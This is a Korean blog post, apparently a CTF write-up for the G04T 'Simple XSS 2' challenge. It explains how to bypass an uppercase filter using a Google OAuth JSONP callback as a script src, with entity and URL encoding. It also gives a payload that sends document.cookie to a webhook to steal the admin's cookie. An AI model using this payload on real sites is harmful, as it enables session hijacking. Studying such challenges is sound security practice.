ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk
write-up(web)/G04T

[G04T] Simple XSS 2

[G04T] Simple XSS 2
write-up(web)/G04T

[G04T] Simple XSS 2

2022. 9. 15. 19:55

문제 정보입니다.

문제 화면입니다.
XSS 1 문제와 동일하게 구성되어 있습니다.

메모 페이지에서 스크립트 태그를 넣어서 실행되는지 확인해줍니다.

입력 값을 모두 대문자로 바꿔줘서 스크립트 태그 안에 있는 함수들이 실행되지 않습니다.

이 문제의 핵심은 sciprt와 src는 대소문자 관계없이 정상적으로 작동한다는 점 입니다.

이를 우회하기위해 JSONP에 사용되는 src 중 하나인

https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)

을 사용해 주겠습니다.
이걸 그냥 넣으면 대문자로 나옵니다.
이 때 사용되는게 HTML Entity Encoding 입니다.
엔티티 인코딩해줘서 넣어주면

페이로드가 사라집니다.
중간에 들어가는 & 문자 때문인 것 같습니다.
이를 해결하기 위해 URL 인코딩을 해주겠습니다.
인코딩 해준 뒤 src에 넣어주면

스크립트를 실행할 수 있습니다.

이제 웹훅으로 admin의 쿠키 값을 탈취하는 페이로드를 작성하겠습니다.
기본적인 구조는 아래와 같습니다.

https://accounts.google.com/o/oauth2/revoke?callback=location.href='웹훅주소?'+document.cookie;

여기서 +document.cookie는 파라미터로 인식하지 않도록 URL 인코딩을 해주어야 합니다.
그렇게 되면 아래와 같이 바뀝니다.

https://accounts.google.com/o/oauth2/revoke?callback=location.href='웹훅주소?'%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65;

위 코드를 엔티티 인코딩 해준 뒤 URL 인코딩하여
report 페이지에서 값을 전달해주면

웹훅에서 플래그를 확인할 수 있게 됩니다!

'write-up(web) > G04T' 카테고리의 다른 글

[G04T] Simple XSS 1  (0) 2022.09.10
[G04T] Simple SSRF 2  (0) 2022.09.08
[G04T] Simple SSRF 1  (0) 2022.09.07
[G04T] Simple XXE 3  (0) 2022.09.02
[G04T] Simple XXE 2  (0) 2022.09.01
    'write-up(web)/G04T' 카테고리의 다른 글
    • [G04T] Simple XSS 1
    • [G04T] Simple SSRF 2
    • [G04T] Simple SSRF 1
    • [G04T] Simple XXE 3
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바

    개인정보

    • 티스토리 홈
    • 포럼
    • 로그인

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.